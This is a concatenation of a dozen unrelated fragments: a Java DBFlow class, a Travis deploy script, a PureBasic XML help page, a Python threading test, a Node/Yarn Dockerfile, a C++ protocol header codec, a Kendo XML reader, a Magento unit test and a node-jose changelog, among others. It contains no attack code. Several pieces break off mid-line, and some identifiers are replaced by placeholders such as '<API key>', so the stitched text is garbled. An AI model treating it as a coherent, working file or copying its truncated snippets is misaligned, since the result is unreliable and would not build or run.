</div><form action="search.asp" name="form1" id="form1"> <table border="1" id="table1" style="border-collapse: collapse"> <tr> <td height="25" align="center"><span style="font-size: 16px"></span></td> <td height="25" align="center"><span style="font-size: 16px">1777</span></td> <td height="25" align="center"><span style="font-size: 16px"></span></td> <td height="25px" align="center"><span style="font-size: 16px"></span></td> </tr> <tr> <td colspan="4"> <table border="0" width="100%"> <tr> <td valign="top"> <b></b></td> <td> <div> 1777 1777 1777</div></td> </tr> </table> </td> </tr> <tr> <td colspan="4"> <table border="0" width="100%"> <tr> <td valign="top"> <b></b></td> <td> <div> 1777 1777 1777“”“”“”“”“”“”“”“”“”“”“”“”</div></td> </tr> </table> </td> </tr> <tr> <td colspan="4"> <table border="0" width="100%"> <tr> <td valign="top"> <b></b></td> <td> <div> 1777“” 1777</div></td> </tr> </table> </td> </tr> <tr> <td colspan="4"> <table border="0" width="100%"> <tr> <td valign="top"> <b></b></td> <td> <div></div></td> </tr> </table> </td> </tr> <tr> </tr></table>
package me.rorschach.diary.bean; import com.raizlabs.android.dbflow.annotation.Database; @Database(name = DiaryDb.NAME, version = DiaryDb.VERSION) public class DiaryDb { public static final String NAME = "DiaryDb"; public static final int VERSION = 1; }
#!/bin/bash if [ "$TRAVIS_REPO_SLUG" == "atomashpolskiy/bt" ] && [ "$TRAVIS_OS_NAME" == "linux" ] && [ "$TRAVIS_PULL_REQUEST" == "false" ] && [ "$TRAVIS_BRANCH" == "master" ] && [ "$MAIN_BUILD" == "true" ]; then git config --global user.email "travis@travis-ci.org" git config --global user.name "travis-ci" cd $HOME rm -rf gh-pages git clone https://${TRAVIS_TOKEN}@github.com/atomashpolskiy/bt.git gh-pages cd gh-pages git checkout gh-pages rm -rf javadoc/latest mkdir -p javadoc/latest
namespace XNA8DFramework.Animations { public abstract class ColorAnimation : Animation { protected ColorAnimation(IColorAnimatable animatable, int duracao, int aguardar) : base(animatable, duracao, aguardar) { Animatable = animatable; } <summary> Objeto a ser animado. </summary> public IColorAnimatable Animatable { get; protected set; } } }
<html><head><title>InsertXMLArray</title></head> <body bgcolor="#EFF1F0" link="#3A3966" vlink="#000000" alink="#000000"> <font face="Verdana, sans-serif" size="2"><p align="center"><b><font size="4">InsertXMLArray()</font></b></p> <p><b>Syntax</b></p><blockquote> Result = <font color="#3A3966"><b>InsertXMLArray</b></font>(ParentNode, Array() [, PreviousNode])</blockquote> </blockquote> <b>Description</b><br><blockquote> Insert the specified Array() as a new XML node into the given parent node. </blockquote><p><b>Parameters</b></p><blockquote> <style type="text/css"> table.parameters { border-spacing: 0px; border-style: none; border-collapse: collapse; } table.parameters td { border-width: 1px; padding: 6px; border-style: solid; border-color: gray; vertical-align: top; font-family:Arial; font-size:10pt; } </style> <table width="90%" class="parameters"> <tr><td width="10%"><i>ParentNode</i></td> <td width="90%"> The node into which to insert the new node. To insert the new node at the root of the tree, <a href="rootxmlnode.html">RootXMLNode()</a> can be used here. </td></tr> <tr><td><i>Array()</i></td> <td> The array to insert into the XML. </td></tr> <tr><td><i>PreviousNode (optional)</i></td> <td> A childnode of 'ParentNode' after which the new node should be inserted. If this value is 0 or not specified, the new node is inserted as the first child of its parent. If this value is -1, the node is inserted as the last child of its parent. </td></tr> </table> </blockquote><p><b>Return value</b></p><blockquote> The new XML node if it was created successfully or zero if no node could be inserted at this point. </blockquote><p><b>Remarks</b></p><blockquote> The rules specified in the <a href="createxmlnode.html">CreateXMLNode()</a> for where a new node can be inserted also apply to this function. <br> <br> The inserted node is named &quot;array&quot; and the contained element nodes are named &quot;element&quot;. If the array has multiple dimension, each element will have attributes indicating the coordinate of the element within the array, with each coordinate named &quot;a&quot;, &quot;b&quot; and so forth. See below for an example of the created XML. </blockquote><p><b>Example</b></p><blockquote> <pre><font face="Courier New, Courier, mono"size="2"> <font color="#3A3966">; This example produces the following XML tree:</font> <font color="#3A3966">;</font> <font color="#3A3966">; &lt;array&gt;</font> <font color="#3A3966">; &lt;element&gt;red&lt;/element&gt;</font> <font color="#3A3966">; &lt;element&gt;green&lt;/element&gt;</font> <font color="#3A3966">; &lt;element&gt;blue&lt;/element&gt;</font> <font color="#3A3966">; &lt;/array&gt;</font> <font color="#3A3966">;</font> <b><font color="#3A3966">Dim</font></b> <font color="#3A3966">Colors$</font>(2) <font color="#3A3966"> Colors$</font>(0) = &quot;red&quot; <font color="#3A3966"> Colors$</font>(1) = &quot;green&quot; <font color="#3A3966"> Colors$</font>(2) = &quot;blue&quot; <b><font color="#3A3966">If</font></b> <font color="#3A3966">CreateXML</font>(0) <font color="#3A3966"> InsertXMLArray</font>(<font color="#3A3966">RootXMLNode</font>(0),<font color="#3A3966"> Colors$</font>()) <font color="#3A3966"> FormatXML</font>(0, <font color="#924B72">#PB_XML_ReFormat</font>) <b><font color="#3A3966">Debug</font></b> <font color="#3A3966">ComposeXML</font>(0) <b><font color="#3A3966">EndIf</font></b> </font></pre> </blockquote><p><b>Example</b></p><blockquote> <pre><font face="Courier New, Courier, mono"size="2"> <font color="#3A3966">; This example produces the following XML tree:</font> <font color="#3A3966">;</font> <font color="#3A3966">; &lt;array&gt;</font> <font color="#3A3966">; &lt;element a=&quot;0&quot; b=&quot;0&quot;&gt;0&lt;/element&gt;</font> <font color="#3A3966">; &lt;element a=&quot;0&quot; b=&quot;1&quot;&gt;1&lt;/element&gt;</font> <font color="#3A3966">; &lt;element a=&quot;1&quot; b=&quot;0&quot;&gt;10&lt;/element&gt;</font> <font color="#3A3966">; &lt;element a=&quot;1&quot; b=&quot;1&quot;&gt;11&lt;/element&gt;</font> <font color="#3A3966">; &lt;element a=&quot;2&quot; b=&quot;0&quot;&gt;20&lt;/element&gt;</font> <font color="#3A3966">; &lt;element a=&quot;2&quot; b=&quot;1&quot;&gt;21&lt;/element&gt;</font> <font color="#3A3966">; &lt;/array&gt;</font> <font color="#3A3966">;</font> <b><font color="#3A3966">Dim</font></b> <font color="#3A3966">MultiArray</font>(2, 1) <b><font color="#3A3966">For</font></b> a = 0 <b><font color="#3A3966">To</font></b> 2 <b><font color="#3A3966">For</font></b> b = 0 <b><font color="#3A3966">To</font></b> 1 <font color="#3A3966"> MultiArray</font>(a, b) = a * 10 + b <b><font color="#3A3966">Next</font></b> b <b><font color="#3A3966">Next</font></b> a <b><font color="#3A3966">If</font></b> <font color="#3A3966">CreateXML</font>(0) <font color="#3A3966"> InsertXMLArray</font>(<font color="#3A3966">RootXMLNode</font>(0),<font color="#3A3966"> MultiArray</font>()) <font color="#3A3966"> FormatXML</font>(0, <font color="#924B72">#PB_XML_ReFormat</font>) <b><font color="#3A3966">Debug</font></b> <font color="#3A3966">ComposeXML</font>(0) <b><font color="#3A3966">EndIf</font></b> </font></pre> </blockquote><p><b>See Also</b></p><blockquote> <a href="extractxmlarray.html">ExtractXMLArray()</a>, <a href="insertxmllist.html">InsertXMLList()</a>, <a href="insertxmlmap.html">InsertXMLMap()</a>, <a href="insertxmlstructure.html">InsertXMLStructure()</a>, </Blockquote><p><b>Supported OS </b><Blockquote>All</Blockquote></p><center><- <a href=getxmlstandalone.html>GetXMLStandalone()</a> - <a href="index.html">XML Index</a> - <a href="insertxmllist.html">InsertXMLList()</a> -><br><br> </body></html>
"""A torture test to ferret out problems with multi-threading.""" import sys import threading from ndb import tasklets from ndb import eventloop def main(): ##sys.stdout.write('_State.__bases__ = %r\n' % (eventloop._State.__bases__,)) num = 10 try: num = int(sys.argv[1]) except Exception: pass threads = [] for i in range(num): t = threading.Thread(target=one_thread, args=(i, num,)) t.start() threads.append(t) for t in threads: t.join() @tasklets.toplevel def one_thread(i, num): ##sys.stdout.write('eventloop = 0x%x\n' % id(eventloop.get_event_loop())) x = yield fibonacci(num) sys.stdout.write('%d: %d --> %d\n' % (i, num, x)) @tasklets.tasklet def fibonacci(n): """A recursive Fibonacci to exercise task switching.""" if n <= 1: raise tasklets.Return(n) a = yield fibonacci(n - 1) b = yield fibonacci(n - 2) raise tasklets.Return(a + b) if __name__ == '__main__': main()
<?xml version="1.0"?> <!DOCTYPE html PUBLIC "- <html xmlns="http: <head> <title>StatSVN - Directory ext/openssl/crypto/md2/</title> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/> <meta name="Generator" content="StatSVN 0.7.0"/> <link rel="stylesheet" href="statsvn.css" type="text/css"/> </head> <body> <h1>Directory ext/openssl/crypto/md2/</h1> <div id="parentlink">&#171; <a href="index.html">Development Statistics for /trunk</a></div> <dl class="attributes"> <dt>Total Files:</dt> <dd>5</dd> <dt>Deleted Files:</dt> <dd>0</dd> <dt>Lines of Code:</dt> <dd>675</dd> </dl> <p class="dirtree"> <a href="dir.html">[root]</a>/<a href="dir_ext.html">ext</a>/<a href="dir_ext_openssl.html">openssl</a>/<a href="<API key>.html">crypto</a>/<strong>md2</strong><br/> </p> <div class="section"> <h2>Lines of Code</h2> <p class="chart"><img src="<API key>.png" alt="ext/openssl/crypto/md2/ Lines of Code" width="800" height="500" /></p></div> <div class="section"> <h2>Developers</h2> <table rules="groups" summary="All authors and the number of their changes and lines of code in this directory"> <colgroup align="left"/> <colgroup align="right"/> <colgroup align="right"/> <colgroup align="right"/> <thead> <tr> <th>Author</th> <th>Changes</th> <th>Lines of Code</th> <th>Lines per Change</th> </tr> </thead> <tbody> <tr class="odd"> <th><a href="user_tortoisesvn.html" class="author">tortoisesvn</a></th> <td>10 (100.0%)</td> <td>316 (100.0%)</td> <td>31.6</td> </tr> </tbody> </table> </div> <div class="section"> <h2>Most Recent Commits</h2> <dl class="commitlist"> <dt><a name="1"></a> <a href="user_tortoisesvn.html" class="author">tortoisesvn</a> <span class="date">2015-01-22 13:57</span> <span class="revisionNumberOuter">Rev.: <span class="revisionNumberInner">26211</span></span> </dt> <dd> <p class="comment"> Update to OpenSSL 1.0.2 </p> <p class="commitdetails"><strong>316</strong> lines of code changed in <span class="files">10 files</span>:</p> <ul class="commitdetails"> <li> <strong>ext/openssl/crypto/md2</strong>: md2.c&#160;<span class="change">(+50&#160;-55)</span>, md2.h&#160;<span class="new">(new)</span>, md2_dgst.c&#160;<span class="change">(+143&#160;-146)</span>, md2_one.c&#160;<span class="new">(new)</span>, md2test.c&#160;<span class="new">(new)</span> </li> </ul> </dd> </dl> </div><div id="generatedby">Generated by <a href="http: </body> </html>
# AUTOGENERATED FILE FROM balenalib/<API key>:36-run ENV NODE_VERSION 17.6.0 ENV YARN_VERSION 1.22.4 RUN for key in \ <API key> \ ; do \ gpg --keyserver pgp.mit.edu --recv-keys "$key" || \ gpg --keyserver keyserver.pgp.com --recv-keys "$key" || \ gpg --keyserver keyserver.ubuntu.com --recv-keys "$key" ; \ done \ && curl -SLO "http://nodejs.org/dist/v$NODE_VERSION/node-v$<API key>.tar.gz" \ && echo "<SHA256-like> node-v$<API key>.tar.gz" | sha256sum -c - \ && tar -xzf "node-v$<API key>.tar.gz" -C /usr/local --strip-components=1 \ && rm "node-v$<API key>.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz" \ && curl -fSLO --compressed "https://yarnpkg.com/downloads/$YARN_VERSION/yarn-v$YARN_VERSION.tar.gz.asc" \ && gpg --batch --verify yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && mkdir -p /opt/yarn \ && tar -xzf yarn-v$YARN_VERSION.tar.gz -C /opt/yarn --strip-components=1 \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarn \ && ln -s /opt/yarn/bin/yarn /usr/local/bin/yarnpkg \ && rm yarn-v$YARN_VERSION.tar.gz.asc yarn-v$YARN_VERSION.tar.gz \ && npm config set unsafe-perm true -g --unsafe-perm \
#include "Poco/Exception.h" using Poco::RuntimeException; #include "HEADER.h" namespace ALS { namespace SSAP { namespace SPDU { HEADER::HEADER(byte id) : id(id) { size = l0 = l1 = l2 = 0; } HEADER::HEADER(byte id, NetworkBuffer& tsdu) : id(id) { l0 = tsdu.get(); if (l0 == 255) { //l1 = tsdu.get(); //l2 = tsdu.get(); size = tsdu.getShort(); if (hli() < 255) { throw RuntimeException("hli() < 255"); } } else { l1 = l2 = 0; size = 0; } } HEADER::~HEADER() { } int HEADER::length() const { int len = hli(); if (len < 255) { return len + 2; /* sizeof(id) + sizeof(l0) */ } else { return len + 4; /* sizeof(id) + sizeof(l0) + sizeof(l1) + sizeof(l2) */ } } int HEADER::hli() const { if (l0 < 255) { return l0; } else { //return (l1 << 8) + l2; return size; } } void HEADER::hli(int cc) { if (cc >= 0) { if (cc < 255) { l0 = cc; } else { l0 = 255; //l1 = cc >> 8;l2 = cc & 0xFF; size = cc; } } } int HEADER::add(HEADER* header) { int len = hli() + header->length();// - 2 /*sizeof(id) + sizeof(l0) */; if (len <= 0) { throw RuntimeException("invalid length: " + to_string(len) + " <= 0"); } if (len < 255) { l0 = len; } else if (len < 64 * 1024) { if (l0 != 255) { l0 = 255; // update(2); // add 2 to hierarchy } else { //len -= 2; // -2 + -2 = -4 = sizeof(id) + sizeof(l0) + sizeof(l1) + sizeof(l2) } //l1 = ((len >> 8) & 0xFF); //l2 = (len & 0xFF); size = len; } else { throw RuntimeException("invalid length: " + to_string(len) + " >= 65536"); } return len; } void HEADER::allocate(unique_ptr<NetworkBuffer>& tsdu, int cc) const { if (tsdu.get() != nullptr) throw <API key>(); int total = length() + cc; unique_ptr<NetworkBuffer> newBuffer(new NetworkBuffer(total)); tsdu = std::move(newBuffer); } ReturnCode HEADER::encode(unique_ptr<NetworkBuffer>& tsdu) const { tsdu->put(id); tsdu->put(l0); if (l0 == 255) tsdu->putShort(size); return OK; } } } }
(function(f, define){ define([ "./kendo.core" ], f); })(function(){ /*jshint eqnull: true, boss: true */ (function($, undefined) { var kendo = window.kendo, isArray = $.isArray, isPlainObject = $.isPlainObject, map = $.map, each = $.each, extend = $.extend, getter = kendo.getter, Class = kendo.Class; var XmlDataReader = Class.extend({ init: function(options) { var that = this, total = options.total, model = options.model, parse = options.parse, errors = options.errors, serialize = options.serialize, data = options.data; if (model) { if (isPlainObject(model)) { var base = options.modelBase || kendo.data.Model; if (model.fields) { each(model.fields, function(field, value) { if (isPlainObject(value) && value.field) { value = extend(value, { field: that.getter(value.field) }); } else { value = { field: that.getter(value) }; } model.fields[field] = value; }); } var id = model.id; if (id) { var idField = {}; idField[that.xpathToMember(id, true)] = { field : that.getter(id) }; model.fields = extend(idField, model.fields); model.id = that.xpathToMember(id); } model = base.define(model); } that.model = model; } if (total) { if (typeof total == "string") { total = that.getter(total); that.total = function(data) { return parseInt(total(data), 10); }; } else if (typeof total == "function"){ that.total = total; } } if (errors) { if (typeof errors == "string") { errors = that.getter(errors); that.errors = function(data) { return errors(data) || null; }; } else if (typeof errors == "function"){ that.errors = errors; } } if (data) { if (typeof data == "string") { data = that.xpathToMember(data); that.data = function(value) { var result = that.evaluate(value, data), modelInstance; result = isArray(result) ? result : [result]; if (that.model && model.fields) { modelInstance = new that.model(); return map(result, function(value) { if (value) { var record = {}, field; for (field in model.fields) { record[field] = modelInstance._parse(field, model.fields[field].field(value)); } return record; } }); } return result; }; } else if (typeof data == "function") { that.data = data; } } if (typeof parse == "function") { var xmlParse = that.parse; that.parse = function(data) { var xml = parse.call(that, data); return xmlParse.call(that, xml); }; } if (typeof serialize == "function") { that.serialize = serialize; } }, total: function(result) { return this.data(result).length; }, errors: function(data) { return data ? data.errors : null; }, serialize: function(data) { return data; }, parseDOM: function(element) { var result = {}, parsedNode, node, nodeType, nodeName, member, attribute, attributes = element.attributes, attributeCount = attributes.length, idx; for (idx = 0; idx < attributeCount; idx++) { attribute = attributes[idx]; result["@" + attribute.nodeName] = attribute.nodeValue; } for (node = element.firstChild; node; node = node.nextSibling) { nodeType = node.nodeType; if (nodeType === 3 || nodeType === 4) { // text nodes or CDATA are stored as #text field result["#text"] = node.nodeValue; } else if (nodeType === 1) { // elements are stored as fields parsedNode = this.parseDOM(node); nodeName = node.nodeName; member = result[nodeName]; if (isArray(member)) { // elements of same nodeName are stored as array member.push(parsedNode); } else if (member !== undefined) { member = [member, parsedNode]; } else { member = parsedNode; } result[nodeName] = member; } } return result; }, evaluate: function(value, expression) { var members = expression.split("."), member, result, length, intermediateResult, idx; while (member = members.shift()) { value = value[member]; if (isArray(value)) { result = []; expression = members.join("."); for (idx = 0, length = value.length; idx < length; idx++) { intermediateResult = this.evaluate(value[idx], expression); intermediateResult = isArray(intermediateResult) ? intermediateResult : [intermediateResult]; result.push.apply(result, intermediateResult); } return result; } } return value; }, parse: function(xml) { var documentElement, tree, result = {}; documentElement = xml.documentElement || $.parseXML(xml).documentElement; tree = this.parseDOM(documentElement); result[documentElement.nodeName] = tree; return result; }, xpathToMember: function(member, raw) { if (!member) { return ""; } member = member.replace(/^\//, "") // remove the first "/" .replace(/\//g, "."); // replace all "/" with "." if (member.indexOf("@") >= 0) { // replace @attribute with '["@attribute"]' return member.replace(/\.?(@.*)/, raw? '$1':'["$1"]'); } if (member.indexOf("text()") >= 0) { // replace ".text()" with '["#text"]' return member.replace(/(\.?text\(\))/, raw? '#text':'["#text"]'); } return member; }, getter: function(member) { return getter(this.xpathToMember(member), true); } }); $.extend(true, kendo.data, { XmlDataReader: XmlDataReader, readers: { xml: XmlDataReader } }); })(window.kendo.jQuery); return window.kendo; }, typeof define == 'function' && define.amd ? define : function(_, f){ f(); });
<?php namespace Magento\Framework\Autoload; use Composer\Autoload\ClassLoader; use Magento\TestFramework\Helper\ObjectManager; class <API key> extends \<API key> { const PREFIX = 'Namespace\\Prefix\\'; const DIR = '/path/to/class/'; const DEFAULT_PREPEND = false; /** * @var ClassLoader | \<API key> */ protected $autoloaderMock; /** * @var \Magento\Framework\Autoload\ClassLoaderWrapper */ protected $model; public function setUp() { $this->autoloaderMock = $this->getMock('Composer\Autoload\ClassLoader'); $this->model = (new ObjectManager($this))->getObject('Magento\Framework\Autoload\ClassLoaderWrapper', [ 'autoloader' => $this->autoloaderMock ] ); } public function testAdd() { $prepend = true; $this->autoloaderMock->expects($this->once()) ->method('add') ->with(self::PREFIX, self::DIR, $prepend); $this->model->addPsr0(self::PREFIX, self::DIR, $prepend); } public function testAddPsr4() { $prepend = true; $this->autoloaderMock->expects($this->once()) ->method('addPsr4') ->with(self::PREFIX, self::DIR, $prepend); $this->model->addPsr4(self::PREFIX, self::DIR, $prepend); } public function testAddDefault() { $this->autoloaderMock->expects($this->once()) ->method('add') ->with(self::PREFIX, self::DIR, self::DEFAULT_PREPEND); $this->model->addPsr0(self::PREFIX, self::DIR); } public function testAddPsr4Default() { $this->autoloaderMock->expects($this->once()) ->method('addPsr4') ->with(self::PREFIX, self::DIR, self::DEFAULT_PREPEND); $this->model->addPsr4(self::PREFIX, self::DIR); } public function testSet() { $paths = [self::DIR]; $this->autoloaderMock->expects($this->once()) ->method('set') ->with(self::PREFIX, $paths); $this->model->setPsr0(self::PREFIX, $paths); } public function testSetPsr4() { $paths = [self::DIR]; $this->autoloaderMock->expects($this->once()) ->method('setPsr4') ->with(self::PREFIX, $paths); $this->model->setPsr4(self::PREFIX, $paths); } }
# Release Notes Bug Fixes * fixed issues when used in `react-native` ([8126622](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * fixed incorrect usage of `node-forge` buffers ([7e46c1f](https: * updated dependencies. Style * avoid using var shorthands for UglifyJS's sake ([44edb0a](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="1.1.3"></a> * fail to verify PS signatures with incorrect padding in node ([93399b6](https://github.com/cisco/node-jose/commit/93399b6)) <a name="1.1.2"></a> * replaced outdated vulnerable lodash dependencies ([b9c4f0e](https://github.com/cisco/node-jose/commit/b9c4f0e)) <a name="1.1.1"></a> * Update node-forge ([6b0bc94](https://github.com/cisco/node-jose/commit/6b0bc94)) <a name="1.1.0"></a> Bug Fixes * remove setImmediate/nextTick hack (fixes [ * correct jws verify input validation check (fixes [ * [node] use native crypto for RS signing (fixes [ Features * [node] use native crypto for AES-KW Key-Wrapping ([f18011f](https://github.com/cisco/node-jose/commit/f18011f)) * [node] use native crypto for RSA-OAEP and RSA1_5 encryption ([bba0a13](https://github.com/cisco/node-jose/commit/bba0a13)) * [node] use native crypto for RSA1_5 decryption ([2a9e48a](https://github.com/cisco/node-jose/commit/2a9e48a)) * [node] use native crypto for RSA-PSS ([8a05f35](https://github.com/cisco/node-jose/commit/8a05f35)) * [node] use native crypto for ECDSA ([aa5a48d](https://github.com/cisco/node-jose/commit/aa5a48d)) <a name="1.0.0"></a> Update * Create a Key without first creating a KeyStore ( * support RSA-PSS in WebCrypto ( * generate and apply header values when key wrapping ( * use safe Buffer allocators instead of unsafe constructor ( Fix * better error when given key does not support requested algorithms ( Build * update supported test platforms ( * use headless firefox for Travis ( Package * Fix wrong repository URL syntax (from @sschuberth) ( <a name="0.11.1"></a> **NOTE:** This is a security patch, replacing `base64url` with `b64u` to address a [vulnerability in the previous dependency](https://hackerone.com/reports/321687). Chore * replace base64url with b64u ( <a name="0.11.0"></a> **NOTICE** This release includes a potentially breaking change. The default of `jose.JWS.Verifier.verify()` before `0.11.0` was to successfully verify if an embedded key was present and verification succeeds. Now the default is to instead fail verification. Applications that rely on embedded keys for JWS verification now must provide an `opts` Object to either `jose.JWS.createVerify()` or `jose.JWS.Verifier.verify()`, with the member `allowEmbeddedKeys` set to `true`. Update * configure if embedded keys can be used for signature verification; contributed by Fraser Winterborn of BlackBerry's Security Research Group ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * configure option for allowed algorithm ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Doc * Enable syntax highlighting on code areas in README ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.10.0"></a> Update * alias JWS.createVerify to construct a sentence ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Provide PBKDF2-based algorithms publicly ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Fix * HMAC minimum length checks should be better enforced ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * prevent JWK.KeyStore Build * exclude old browsers from SL tests ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.9.5"></a> Update * prevent embedding 'oct' keys in JWS objects ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Fix * coerce "kid" during lookup ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * regression errors with Safari ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ Doc * Add key hints and status badges to README ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * bundle package-lock.json for devel ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * support node-v8 in travis ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.9.4"></a> Update * Use native RSA/OpenSSL crypto whenever possible ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * use npm-published base64url implementation ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * use npm-published node-forge implementation ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * Use WebCrypto API for PBKDF2 ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Doc * Fix wrong links to JWA and JWK specifications ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ Build * sourcemaps for karma tests ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update <API key> to version 1.0.1 ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update travis-ci for newer environments ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update yargs to version 7.0.1 ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.9.3"></a> Update * maintain dependencies via Greenkeeper ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update jsbn to version 1.1.0 ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Fix * Validate EC public key is on configured curve ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Doc * note webpack support ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * additional tests on ECDH failures ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update gulp-mocha to latest version ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Update webpack to the latest version ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.9.2"></a> Build * include browser tests in travis-ci ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Fix * improper call to base64url.decode ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * node v6+ emits <API key> ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ <a name="0.9.1"></a> Build * upgrade build environment ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.9.0"></a> Update * find keys embedded in JWS header ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ Fix * incorrect member name for unprotected JWS header ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.8.1"></a> Fix * Documentation typo ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Issues with latest browserify-buffer ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Typo in lib/algorithms/constants ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Remove warnings from webpack ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * Further restrict what is published ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Reconcile git-prefixed dependencies ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.8.0"></a> Update * support 'crit' header member ([<SHA1-like>](https://github.com/cisco/node-jose/commits/<SHA1-like>)) Fix * failures on different browser platforms ([<SHA1-like>](https://github.com/cisco/node-jose/commits/<SHA1-like>)) Build * integrate travis-ci ([<SHA1-like>](https://github.com/cisco/node-jose/commits/<SHA1-like>)) <a name="0.7.1"></a> Fix * fix throws and rejects to be error objects and consistent ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * only honor isPrivate in JWK.toJSON() if it is actually a Boolean ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.7.0"></a> Update * implement JWK thumbprint support [RFC 7638] ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * support Microsoft Edge ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.6.0"></a> Update * export EC keys as PEM ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * export RSA keys as PEM ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * import EC and RSA keys from "raw" PEM ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * import EC and RSA "raw" private keys from DER ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * harmonize output from JWE.decrypt and JWS.verify ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.5.2"></a> Fix * polyfill should not override native Promise ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Doc * fix wrong decryption sample code in README.md ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * add code coverage for node + browsers ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * add code coverage for node + browsers ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.5.1"></a> Fix * 'stack exceeded' error on node.js 0.10 ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * address errors with setImmediate in IE ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * add CGMKW test ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * expand the saucelabs platforms ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.5.0"></a> Update * Support extra fields and x5t generation when importing a cert ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Support deprecated `A*CBC+HS*` algorithms (aka the "plus" algorithms) ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Fix * base64url does not work on IE ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * When an assumed key is provided, use it over any others ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), fixes [ <a name="0.4.0"></a> Breaking * Use external implementation of base64url ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Update * Import a RSA or EC key from ASN.1 (PEM or DER) ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * Include key in JWS.verify result ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.3.1"></a> Fix * JWE encryption fails for ECDH keys ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)), closes [ * proper name for file header ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Update * provide a generic parse() method to see header(s) and generically unwrap ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * support parsing Buffer 